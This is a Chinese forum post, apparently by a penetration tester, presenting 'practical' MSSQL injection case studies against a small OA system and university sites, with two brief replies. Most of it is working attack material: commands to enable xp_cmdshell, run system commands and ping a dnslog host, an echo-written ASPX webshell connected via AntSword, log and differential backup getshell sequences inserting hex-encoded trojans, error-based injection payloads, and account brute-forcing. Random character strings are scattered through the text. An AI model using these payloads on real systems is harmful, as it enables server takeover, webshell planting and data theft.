找回密码
 加入怎通
查看: 190|回复: 2

有人说SQL注入落后了,请问可以捶他吗_解决sql注入

[复制链接]
我来看看 发表于 2023-03-27 12:09:00 | 显示全部楼层 |阅读模式
' _( Y# ]/ V5 d+ u; E0 W

上次写了一篇文关于SQL注入的文章,居然有人说SQL注入过时了!!!

! V4 w0 h' ^ C. \6 s) q

前言:本次用4个有趣的实战案例来分别讲:狠–常见getshell快–快速报错注入准–字符长度100限制下注入绕–绕福某大学安全狗虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正!

) z o3 h; h8 p, n- g8 K, |

狠–常见getshell:实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令…

6 H" d! j% O& R3 h

先说可以xp_cmdshell部分:xp_cmdshell写shell技巧:条件:sa权限,常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启

) p4 g0 n) R2 f, a

开启方法#开启方法3 I, K' u( b8 R# e: \) R# z0 q execute(sp_configure "show advanced options",1) #将该选项的值设置为1 x( U, M" O# w execute(reconfigure)

* y& {; p( }: i# ?4 X

#保存设置1 m2 I: l5 O% Y9 J- H3 W9 `6 M execute(sp_configure "xp_cmdshell", 1) #将xp_cmdshell的值设置为1 " m+ O# G7 B! D$ `# V, ]$ N$ I execute(reconfigure)

, w# t, ~( _6 W! X$ i( s+ A

#保存设置# c2 W9 x4 D- d; C# p- W' x( \# B execute(sp_configure) #查看配置4 a! Z7 S# l1 a8 D$ l' Y9 W) S' j: J execute(xp_cmdshell "whoami")

% x; S, ~1 Z( x

#执行系统命令 & @8 q) L7 m7 ?0 n- V 或者 8 e! O8 t* @9 I: G1 a exec sp_configure show advanced options,1;1 A5 ]; j, | w1 f9 \2 \; \ reconfigure; 0 S) B- Z9 [0 }0 }# T0 l% M ~ exec sp_configure xp_cmdshell,1; 6 g, t7 Z: }) l+ j. Z reconfigure; 9 ?2 m1 v7 x7 @# O* t8 J

' J, q- g1 a3 n' F7 b+ q: H2 ?) ]; ]

exec sp_configure;8 ]9 T3 U% O' L8 s# f A. r exec xp_cmdshell whoami;8 N( |; n4 ` H+ p9 N. |8 d exec master ..xp_cmdshell "ping dnslog"上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞!

7 i- ?) E" s9 N& ~ V1 L

写shell技巧:先找网站根路径:exec xp_cmdshell where /r d:\ *.aspx; * G- r) }+ Q, n3 T: B7 K( Y 直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下

7 E' E3 V, Q: Z; d

故再找根路径下绝对静态可解析路径:exec xp_cmdshell where /r D:\OA *.jpg; 6 i- J7 S) ?, `- h7 m

+ Q k3 j1 C$ v+ {2 I3 M0 @3 q

写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号echo ^<^%@ Page Language="Jscript"

, Y: M3 v! P; a) S$ n, k

%^>^^ >d:\xx\xx.aspx 9 p- C5 L# a4 K0 c, k8 ]2 z 然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx

2 ~# @0 R0 P4 e# s7 D- Q

即可.其它gethell大全:剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell

8 u) T7 u8 y, P4 w& x! B1 S' z

备份getshell至少DBO权限)log备份(推荐):优势:1、重复性好,多次备份的成功率高2、相对于差异备份而言,shell的体积较小利用条件:1、前提得知绝对路径,并且可写2、站库不分离3、数据库必须被备份过一次

5 D7 h' H4 E+ q2 v% C$ L

;alterdatabase 库名 setRECOVERYFULL-- ' V; i, W! Y( u8 _ A ;createtable 数据库名..表名(a image)-- //建表$ ^6 P& F( r( s5 B. }& I ;insertinto 数据库名..表名(a)

9 n- W6 L- X: p2 B5 l: H

values (0x一句话木马)-- //插入一句话木马到表中,注意16进制 8 O& M; T% Z4 c* I6 M2 U. h3 |8 N & r, ?, S w1 D! W/ Q ;backupdatabase 数据库名 to disk = c:\www\panda.bak-- //先手动给数据库备份一遍

) n; J t% `: ]

, q" ~* B4 K0 W' T& K6 { 4 _2 B2 B, t6 P* } Z ;backuplog 数据库名 to disk = c:\www\panda.aspwith init-- //利用log备份到web路径getshell差异备份的条件:1、前提知道绝对路径,路径可写。

0 m8 b3 x1 l: N

2、HTTP 500错误不是自定义3、WEB和数据在一块还有的就是数据库中不能存在%号之类的,不然也是不成功的4、数据量不能太大;backupdatabase 库名 to disk = c:\bak.bak。

$ G- S7 w8 Q/ a

;-- //先手动备份一次 1 e0 e1 A. f# k& s ;createtable 数据库名..表名(a image)-- //建立表,加字段 0 h" E' \2 z1 [7 i2 n- i1 T( K ;insertinto 数据库名..表名(a) values (0x一句话木马)

6 z& U3 R; d5 {7 N$ b

-- //插入一句话木马到表中,注意16进制 6 S) Z9 f3 ~; L5 @* C ;backupdatabase 库名 to disk = c:\shell.aspwith differential , format ;-- //进行差异备份

o2 Y3 p3 {! Y% N

小结:备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下

! C9 v2 P8 ~% |- @

导致:出现多次,报错:只能有一个page指令 试了闭合和其它方法不行

* \9 G5 R) J6 q- V. S) Q- G$ |) e7 i

快–快速报错注入:实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用:

1 c1 T* Q& f% w$ t

注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456然后登录后台,在某处发现sql注入:Users/xx.ashx?ID=00) and 1=1 --+ //闭合成功

" T7 N; W9 c6 |+ l. Z3 j

, H( P5 Q8 s0 v6 ^ ) and 1=convert(int,user_name()) --+ #查当前数据库用户,结果不是sa- J2 ]/ b/ z Y1 W# T 1)/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn"

( n3 N1 v7 G5 c! R% E

--#不死心,执行一下cmdshell

u# T6 H& Y8 ]1 P

我是一名安全渗透测试工程师,热爱安全行业,用心做安全,在工作的同时学习知识,另外,我积攒了一些网络安全的学习视频和资料,需要的可以下载学习关注我,私信回复“资料”免费获取网络安全视频、渗透测试、工具包、应急响应、web安全等架构资料。

: p s4 p' L7 s# ~) f" [# | # F6 k, `. ?$ M8 {% s8 s " z4 v( w+ ]6 o: z _# i$ l5 P. }9 t2 k' i1 G0 \: T l! Z ' P1 H: |& e8 S# y- U$ c, |. i
回复

使用道具 举报

念碎碎年年丶 发表于 2026-01-12 20:01:04 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复 支持 反对

使用道具 举报

野草主机-小张 发表于 2026-04-03 20:29:42 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复 支持 反对

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-4-30 06:42 , Processed in 0.670336 second(s), 23 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表